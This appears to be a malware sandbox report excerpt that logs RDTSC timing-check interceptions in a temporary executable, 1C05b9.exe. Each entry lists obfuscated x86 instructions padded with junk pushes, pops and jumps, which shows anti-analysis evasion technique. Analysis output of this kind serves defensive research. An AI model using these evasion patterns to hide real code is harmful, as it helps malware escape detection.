Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0F23 second address: 4EC0F7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 0634h 0x00000007 jmp 00007F51C5190FDDh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov edi, esi 0x00000013 mov bx, ax 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a jmp 00007F51C5190FE0h 0x0000001f mov dx, ax 0x00000022 popad 0x00000023 pop ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 call 00007F51C5190FE9h 0x0000002c pop ecx 0x0000002d mov ebx, 79451524h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0F7D second address: 4EC0F9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51C4516329h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0C40 second address: 4EC0C91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F51C5190FE3h 0x00000013 adc ecx, 3F21FD0Eh 0x00000019 jmp 00007F51C5190FE9h 0x0000001e popfd 0x0000001f mov di, ax 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0759 second address: 4EC075D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC075D second address: 4EC0763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0763 second address: 4EC0769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0769 second address: 4EC0797 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F51C5190FE7h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0797 second address: 4EC079D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC043C second address: 4EC0440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0440 second address: 4EC0444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0444 second address: 4EC044A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC044A second address: 4EC0450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0450 second address: 4EC0454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0454 second address: 4EC046B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F51C451631Ah 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC046B second address: 4EC047A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC047A second address: 4EC0480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0480 second address: 4EC0484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0484 second address: 4EC04E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov dl, al 0x0000000c pushfd 0x0000000d jmp 00007F51C4516329h 0x00000012 sub si, A876h 0x00000017 jmp 00007F51C4516321h 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f jmp 00007F51C451631Eh 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 call 00007F51C451631Dh 0x0000002e pop ecx 0x0000002f mov si, bx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F00E61 second address: 4F00E67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F00E67 second address: 4F00ECA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 jmp 00007F51C451631Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F51C451631Bh 0x00000017 sbb ah, FFFFFFCEh 0x0000001a jmp 00007F51C4516329h 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F51C4516320h 0x00000026 or cx, 3848h 0x0000002b jmp 00007F51C451631Bh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F00ECA second address: 4F00EEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, A1EAh 0x00000007 push ebx 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F51C5190FE3h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F00EEC second address: 4F00EFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ax, di 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F00EFC second address: 4F00F05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, E152h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F00F05 second address: 4F00F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 jmp 00007F51C451631Fh 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F51C4516325h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EE03C1 second address: 4EE041C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 86h 0x00000005 pushfd 0x00000006 jmp 00007F51C5190FE8h 0x0000000b sub ecx, 4B42A7C8h 0x00000011 jmp 00007F51C5190FDBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007F51C5190FE6h 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F51C5190FDEh 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EE041C second address: 4EE042E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51C451631Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4ED0F2F second address: 4ED0F92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F51C5190FE6h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov edi, 1D35B560h 0x00000019 pushfd 0x0000001a jmp 00007F51C5190FE9h 0x0000001f adc esi, 13198A66h 0x00000025 jmp 00007F51C5190FE1h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4ED0F92 second address: 4ED0F98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4ED0F98 second address: 4ED0F9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EE01FE second address: 4EE026F instructions: 0x00000000 rdtsc 0x00000002 mov di, 155Ch 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov di, B3F4h 0x0000000f pushfd 0x00000010 jmp 00007F51C451631Dh 0x00000015 sbb ecx, 27015DB6h 0x0000001b jmp 00007F51C4516321h 0x00000020 popfd 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F51C4516323h 0x0000002d sbb al, FFFFFFEEh 0x00000030 jmp 00007F51C4516329h 0x00000035 popfd 0x00000036 mov si, 4677h 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F00683 second address: 4F006E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F51C5190FE7h 0x00000009 add eax, 5F07482Eh 0x0000000f jmp 00007F51C5190FE9h 0x00000014 popfd 0x00000015 mov di, ax 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007F51C5190FDDh 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F51C5190FDDh 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F006E2 second address: 4F00716 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516321h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F51C451631Eh 0x00000010 xchg eax, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F51C451631Ah 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F00716 second address: 4F00725 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F00725 second address: 4F00848 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516329h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov di, 1312h 0x0000000f call 00007F51C4516323h 0x00000014 mov eax, 5504292Fh 0x00000019 pop esi 0x0000001a popad 0x0000001b xchg eax, ecx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F51C4516321h 0x00000023 and ch, FFFFFF96h 0x00000026 jmp 00007F51C4516321h 0x0000002b popfd 0x0000002c jmp 00007F51C4516320h 0x00000031 popad 0x00000032 mov eax, dword ptr [774365FCh] 0x00000037 pushad 0x00000038 mov bx, cx 0x0000003b call 00007F51C451631Ah 0x00000040 mov dx, ax 0x00000043 pop esi 0x00000044 popad 0x00000045 test eax, eax 0x00000047 pushad 0x00000048 jmp 00007F51C4516323h 0x0000004d mov dx, ax 0x00000050 popad 0x00000051 je 00007F52369C94AEh 0x00000057 jmp 00007F51C4516322h 0x0000005c mov ecx, eax 0x0000005e jmp 00007F51C4516320h 0x00000063 xor eax, dword ptr [ebp+08h] 0x00000066 jmp 00007F51C4516321h 0x0000006b and ecx, 1Fh 0x0000006e push eax 0x0000006f push edx 0x00000070 pushad 0x00000071 mov edi, 0CB17DEEh 0x00000076 pushfd 0x00000077 jmp 00007F51C451631Fh 0x0000007c adc ecx, 21EF3E9Eh 0x00000082 jmp 00007F51C4516329h 0x00000087 popfd 0x00000088 popad 0x00000089 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F00848 second address: 4F008A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 mov si, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ror eax, cl 0x0000000d pushad 0x0000000e pushad 0x0000000f mov ah, dl 0x00000011 movzx esi, bx 0x00000014 popad 0x00000015 jmp 00007F51C5190FDFh 0x0000001a popad 0x0000001b leave 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F51C5190FDBh 0x00000025 add esi, 6E8F360Eh 0x0000002b jmp 00007F51C5190FE9h 0x00000030 popfd 0x00000031 push esi 0x00000032 pop edi 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F008A0 second address: 4F008BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C451631Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [006B2014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007F51C8DA6B0Ah 0x00000024 push FFFFFFFEh 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F008BC second address: 4F008C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F008C0 second address: 4F008C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F008C6 second address: 4F00930 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F51C5190FDDh 0x00000011 add eax, 43209A56h 0x00000017 jmp 00007F51C5190FE1h 0x0000001c popfd 0x0000001d popad 0x0000001e ret 0x0000001f nop 0x00000020 push eax 0x00000021 call 00007F51C9A21815h 0x00000026 mov edi, edi 0x00000028 jmp 00007F51C5190FDEh 0x0000002d xchg eax, ebp 0x0000002e pushad 0x0000002f jmp 00007F51C5190FDEh 0x00000034 push ecx 0x00000035 pop eax 0x00000036 popad 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F00930 second address: 4F00934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F00934 second address: 4F00938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F00938 second address: 4F0093E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F0093E second address: 4F00944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0021 second address: 4EB0027 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0027 second address: 4EB00FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F51C5190FDBh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F51C5190FE6h 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F51C5190FDEh 0x0000001e adc si, 87F8h 0x00000023 jmp 00007F51C5190FDBh 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007F51C5190FE8h 0x0000002f add esi, 2B956258h 0x00000035 jmp 00007F51C5190FDBh 0x0000003a popfd 0x0000003b popad 0x0000003c and esp, FFFFFFF8h 0x0000003f jmp 00007F51C5190FE6h 0x00000044 xchg eax, ecx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 pushfd 0x00000049 jmp 00007F51C5190FDDh 0x0000004e add cx, B0A6h 0x00000053 jmp 00007F51C5190FE1h 0x00000058 popfd 0x00000059 jmp 00007F51C5190FE0h 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB00FE second address: 4EB0104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0104 second address: 4EB014E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F51C5190FE8h 0x0000000e xchg eax, ecx 0x0000000f jmp 00007F51C5190FE0h 0x00000014 xchg eax, ebx 0x00000015 jmp 00007F51C5190FE0h 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB014E second address: 4EB0152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0152 second address: 4EB0156 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0156 second address: 4EB015C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB015C second address: 4EB018A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dh 0x00000005 mov di, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007F51C5190FE8h 0x00000011 mov ebx, dword ptr [ebp+10h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov cl, dh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB018A second address: 4EB018F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB018F second address: 4EB0195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0195 second address: 4EB0199 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0199 second address: 4EB0246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F51C5190FE8h 0x0000000e mov dword ptr [esp], esi 0x00000011 jmp 00007F51C5190FE0h 0x00000016 mov esi, dword ptr [ebp+08h] 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F51C5190FDEh 0x00000020 sbb ax, 6488h 0x00000025 jmp 00007F51C5190FDBh 0x0000002a popfd 0x0000002b mov edi, ecx 0x0000002d popad 0x0000002e xchg eax, edi 0x0000002f jmp 00007F51C5190FE2h 0x00000034 push eax 0x00000035 jmp 00007F51C5190FDBh 0x0000003a xchg eax, edi 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007F51C5190FE4h 0x00000042 sub cx, D948h 0x00000047 jmp 00007F51C5190FDBh 0x0000004c popfd 0x0000004d mov edx, ecx 0x0000004f popad 0x00000050 test esi, esi 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0246 second address: 4EB025D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516323h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB025D second address: 4EB0263 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0263 second address: 4EB0267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0267 second address: 4EB02B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F523768F373h 0x00000011 jmp 00007F51C5190FE6h 0x00000016 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F51C5190FE7h 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB02B4 second address: 4EB02E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516329h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F5236A14670h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F51C451631Dh 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB02E6 second address: 4EB0370 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 mov edi, 6FBEA10Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov edx, dword ptr [esi+44h] 0x00000010 pushad 0x00000011 call 00007F51C5190FDBh 0x00000016 pushfd 0x00000017 jmp 00007F51C5190FE8h 0x0000001c sub ah, FFFFFF88h 0x0000001f jmp 00007F51C5190FDBh 0x00000024 popfd 0x00000025 pop eax 0x00000026 pushfd 0x00000027 jmp 00007F51C5190FE9h 0x0000002c xor ecx, 04A0C6A6h 0x00000032 jmp 00007F51C5190FE1h 0x00000037 popfd 0x00000038 popad 0x00000039 or edx, dword ptr [ebp+0Ch] 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F51C5190FDDh 0x00000043 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0370 second address: 4EB0380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51C451631Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0380 second address: 4EB03F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test edx, 61000000h 0x00000011 jmp 00007F51C5190FE6h 0x00000016 jne 00007F523768F2B1h 0x0000001c jmp 00007F51C5190FE0h 0x00000021 test byte ptr [esi+48h], 00000001h 0x00000025 jmp 00007F51C5190FE0h 0x0000002a jne 00007F523768F2A0h 0x00000030 jmp 00007F51C5190FE0h 0x00000035 test bl, 00000007h 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB03F6 second address: 4EB03FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
